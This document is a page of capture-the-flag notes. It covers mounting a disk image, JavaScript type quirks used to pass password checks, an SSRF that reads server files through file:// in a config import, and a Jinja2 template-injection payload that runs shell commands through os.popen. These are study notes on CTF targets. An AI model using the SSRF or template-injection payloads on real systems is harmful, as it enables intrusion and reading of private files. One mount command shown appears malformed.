> For the complete documentation index, see [llms.txt](https://maso-soup.gitbook.io/sec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://maso-soup.gitbook.io/sec/miscellaneous.md).

# Miscellaneous

## Investigate IMG File

Mount the IMG file to obtain some details. This seems to be an image of a hard disk and not a partition. Let's see where the partition begins.

```bash
fdisk -l badfish.img
Disk badfish.img: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xae84473a

Device       Boot Start     End Sectors  Size Id Type
badfish.img1 *     2048 2097151 2095104 1023M 83 Linux
```

Fdisk shows offset in sectors: 2048. The mount command needs bytes. Each sector is 512 bytes and there are 2048 sectors, so the offset in bytes is 512 \* 2048 = 1,048,576.

```
mount -t -msdos -o loop,offset=1048576 badfish.img /media/badfish
```

## JavaScript Quirks

### Poor Float Handling

Provided Code:

```javascript
router.post('/api/stages/2', async (req, res) => {
	const { password } = req.body;

	if (password == 0.1 + 0.2) {
		return res.json({ flag: flags[1] });
	}

	return res.status(401).json({ message: 'No flag for you!' });
});
```

Password Condition:

0.1 + 0.2 resolves to 0.30000000000000004.

Solution:

```javascript
fetch('http://js.pwn.site:1995/api/stages/2', {
  method: 'POST', // or 'PUT'
  headers: {
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({
    password: 0.30000000000000004,
  }),
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => {
  console.error('Error:', error);
});
```

### I Don't Know What This Is

Code Provided:

```javascript
router.post('/api/stages/3', async (req, res) => {
    const { password } = req.body;

    const secret = ([] + {})[+!![]] +
        (![] + {})[+!![] + [+[]]] +
        (!![] + [])[+[]] +
        ([] + {})[+!![]] +
        (![] + {})[+!![] + [+[]]] +
        (![] + [])[+!![]] +
        (!![] + [])[+[]];

    if (password == secret) {
        return res.json({ flag: flags[2] });
    }

    return res.status(401).json({ message: 'No flag for you!' });
});
```

Password Condition:

`([] + {})[+!![]] + (![] + {})[+!![] + [+[]]] + (!![] + [])[+[]] + ([] + {})[+!![]] + (![] + {})[+!![] + [+[]]] + (![] + [])[+!![]] + (!![] + [])[+[]]` resolves to `octocat`.

Solution:

```javascript
fetch('http://js.pwn.site:1995/api/stages/3', {
  method: 'POST', // or 'PUT'
  headers: {
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({
    password: 'octocat',
  }),
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => {
  console.error('Error:', error);
});
```

### Large Numbers vs Infinity

Code Provided:

```js
router.post('/api/stages/4', async (req, res) => {
    const { days } = req.body;

    if ( typeof days !== "number" ) {
        return res.status(401).json({ message: 'Only days in number is accepted!' });
    }

    let dayOfWeek = Math.abs(parseInt(days) % 7);

    switch(dayOfWeek) {
        case 0:
            day = "Saturday";
            break;
        case 1:
            day = "Sunday";
            break;
        case 2:
            day = "Monday";
            break;
        case 3:
            day = "Tuesday";
            break;
        case 4:
            day = "Wednesday";
            break;
        case 5:
            day = "Thursday";
            break;
        case 6:
            day = "Friday";
            break
        default:
            day = "Payday";
    }

    if (day == "Payday" ) {
        return res.json({ flag: flags[3] });
    }

    return res.status(401).json({ message: 'No flag for you!' });
});
```

Password Condition:

Break out of the Case statement by using a large number that resolves to type "Infinity" or "Infinity" itself.

```javascript
console.log(1e500); // Gives Infinity

Or

JSON.parse('{"number": 1e500}'); // Gives {number: Infinity}
```

Solution:

```javascript
fetch('http://js.pwn.site:1995/api/stages/4', {
  method: 'POST', // or 'PUT'
  headers: {
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({
    days: <see below>,
  }),
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => {
  console.error('Error:', error);
});
```

Same solution in Burp:

```http
POST /api/stages/4 HTTP/1.1
Host: js.pwn.site:1995
Accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 17

{
"days":334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345334353453453453454353453453453453453453453345345345345345345345345353453453543543553453434535345395830958039458034580395830495803945830498503453453534243523454234523453452345234523452345234523452345235234523452345
}
```

## Serverside Request Forgery (SSRF)

### Checking JSON Import Function

Upload a correct JSON config file, and receive an error that the PNG in config is not accepted.

```http
POST /import HTTP/1.1
Host: taskist.pwn.site:1337
Content-Length: 578
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://taskist.pwn.site:1337
Referer: http://taskist.pwn.site:1337/site_config
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo2NCwidXNlcm5hbWUiOiJhZG1pbiIsImlhdCI6MTcwOTIzNDc4OX0.N95u86qtWwIFqbgfk-UwiOVR-Tf39TxunS5X2JRy4ng
Connection: close

{
	"site_name":"Taskist Pro",
	"site_logo":"https://i.imgur.com/bwV4a0B.png",
	"under_maintenance":"No",
	"site_meta_desc":"Join million people and teams that organize, plan, and collaborate on tasks and projects with Taskist. \\'The best to-do list\\' by The Verge.",
	"site_meta_keyw":"Task Manager, Taskist, Taskist Pro",
	"site_robots_txt":"Index, Follow",
	"send_mail_enabled":"No",
	"send_mail_mailer":"SMTP",
	"mail_from_name":"admin@taskistpro.ts",
	"smtp_security":"SSL",
	"smtp_hostname":"smtp.taskistpro.ts",
	"smtp_port":"465",
	"smtp_username":"admin@taskistpro.ts",
	"smtp_password":"abc123"
}
```

The PNG error draws attention to the site\_logo value which looks to allow a full URL and attempt to fetch it from the internet. This could indicate and SSRF.

Can use both HTTP protocol to try to request another site, or can use file:// protocol to attempt to read local files. To test, try to fetch files that we know exist, such as any of the .js files from the homepage.

Since it is an SSRF where the whole path will be needed, we will need to specify the exact location. Typically we might try something like /var/www as the webroot, but in this scenario there is a hint in the admin's tasks saying they haven't moved the webroot from /app/ to /var/www, so we to try for something like /static/js/dashboard.js in the /app/ directory with the file:// protocol.

```
"site_logo":"file:///app/static/js/dashboard.js"
```

This shows the contents of the dashboard.js file.

Now lets try to use this to view other interesting source code, like the page we're on, site\_config.js.

```js
const express       = require('express');
const app           = express();
const path          = require('path');
const cookieParser  = require('cookie-parser');
const nunjucks      = require('nunjucks');
const routes        = require('./routes');
const Database      = require('./database');
global.db           = new Database();

const flagHere = \"flag{bl3ss_7hy_libcurl_pro7oco1s_43454}\"

const db = new Database('taskist-pro.db');

app.use(express.json());

app.use(cookieParser());

app.disable('etag');
app.disable('x-powered-by');

nunjucks.configure('views', {
\tautoescape: true,
\texpress: app
});

app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));

app.use(routes(db));

app.all('*', (req, res) => {
\treturn res.status(404).send({
\t\tmessage: '404 page not found'
\t});
});

app.use((err, req, res, next) => {
    return res.status(400).send({
        message: 'Bad Request'
    });
});

(async () => {
\tawait global.db.connect();

\tapp.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
})();
"
```

## Serverside Template Injection

#### Jinja Template

An application built with Flask and uses templates rendered by Jinja2.

```http
POST /review HTTP/1.1
Host: host3.metaproblems.com:4155
Content-Length: 335
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://host3.metaproblems.com:4155
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://host3.metaproblems.com:4155/apply
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive

first_name=Mason&last_name=Jones&position=Engineer&experience=Experience&benefits0=Unlimited+PTO&benefits1=Medical+Insurance+%28100%25+covered%29&benefits2=Dental+%2F+Vision+Insurance&benefits3=Tuition+reimbursement&other={{request.application.__globals__.__builtins__.__import__('os').popen('cat%20../flag.txt').read()}}&submit=Submit
```

Payload:

```python
{{request.application.__globals__.__builtins__.__import__('os').popen('cat%20../flag.txt').read()}}
```

Interesting read [here](https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/).
